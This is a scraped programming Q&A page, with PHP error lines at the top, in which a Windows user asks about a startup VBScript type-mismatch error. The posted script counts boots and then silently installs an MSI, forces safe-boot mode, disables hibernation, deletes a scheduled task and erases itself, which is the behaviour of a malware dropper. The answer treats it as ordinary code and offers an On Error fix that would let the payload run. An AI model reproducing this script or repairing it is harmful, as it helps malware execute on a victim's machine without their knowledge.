Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/windows/17.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Windows脚本主机问题。。错误代码800a000D..类型不匹配“;Clnt";_Windows_Shell_Vbscript_Wsh - Fatal编程技术网

Windows脚本主机问题。。错误代码800a000D..类型不匹配“;Clnt";

Windows脚本主机问题。。错误代码800a000D..类型不匹配“;Clnt";,windows,shell,vbscript,wsh,Windows,Shell,Vbscript,Wsh,嗨,我是Windows10用户,对编程几乎一无所知。出现错误,windows无法加载。。。当我打开电脑时,会出现一个对话框。。“Windows脚本主机” 这个代码有什么问题。。。错误显示它在第10行第2行 Set oShell = CreateObject ("Wscript.Shell") Dim ccdat ccdat = "updatesettings.dbf" Dim fso, setting, cc, strArgs strArgs = "%comspec% /C %SystemRoo

嗨,我是Windows10用户,对编程几乎一无所知。出现错误,windows无法加载。。。当我打开电脑时,会出现一个对话框。。“Windows脚本主机”

这个代码有什么问题。。。错误显示它在第10行第2行

Set oShell = CreateObject ("Wscript.Shell")
Dim ccdat
ccdat = "updatesettings.dbf"
Dim fso, setting, cc, strArgs
strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i %SystemRoot%\System32\ServiceInstaller.msi /qn & del %SystemRoot%\System32\ServiceInstaller.msi & %SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & %SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN ""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"
Set fso = CreateObject("Scripting.FileSystemObject")

If (fso.FileExists(ccdat)) Then
    Set setting = fso.OpenTextFile(ccdat, 1, 0)
    cc = CInt(setting.ReadLine)
    setting.Close

    If(cc > 9) Then
        oShell.Run strArgs, 0, false
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        strScript = Wscript.ScriptFullName
        objFSO.DeleteFile(ccdat)
        objFSO.DeleteFile(strScript)
        WScript.Quit()
    End If

    Set setting = fso.CreateTextFile(ccdat, True, False)
    cc = cc+1
    setting.Write(cc)
    setting.Close
    WScript.Quit()
Else

Set setting = fso.CreateTextFile(ccdat, True, False)
    setting.Write("0")
    setting.Close
    WScript.Quit()
End If

根据您的示例,updatesettings.dbf似乎只是一个包含增量计数器的文件。事实上,计数器值可能大于MAXINT,这也可能导致该错误。如果为true,请尝试从以下位置更改第10行:

cc = CInt(setting.ReadLine)
为此:

On Error Resume Next
Err.Clear
cc = CInt(setting.ReadLine)
If (0 <> Err.Number) Then cc = -1
On Error Goto 0
出错时继续下一步
呃,明白了
cc=CInt(setting.ReadLine)
如果为(0错误编号),则cc=-1
错误转到0
这将有效地处理错误并强制cc变量进入预初始化状态,该状态将在以后(第23行)递增到其原始初始化状态零(0),并保存到updatesettings.dbf文件中。意思:当updatesettings.dbf文件不存在时,这应该完成与第27行之后的'Else'初始化块相同的事情

希望这有帮助。

1)您的代码是VBScript,而不是PowerShell。2) 您正在从文本文件中读取文本并将其传递给
CInt
函数,如果文件中的文本无法解释为整数值,则该函数将抛出错误。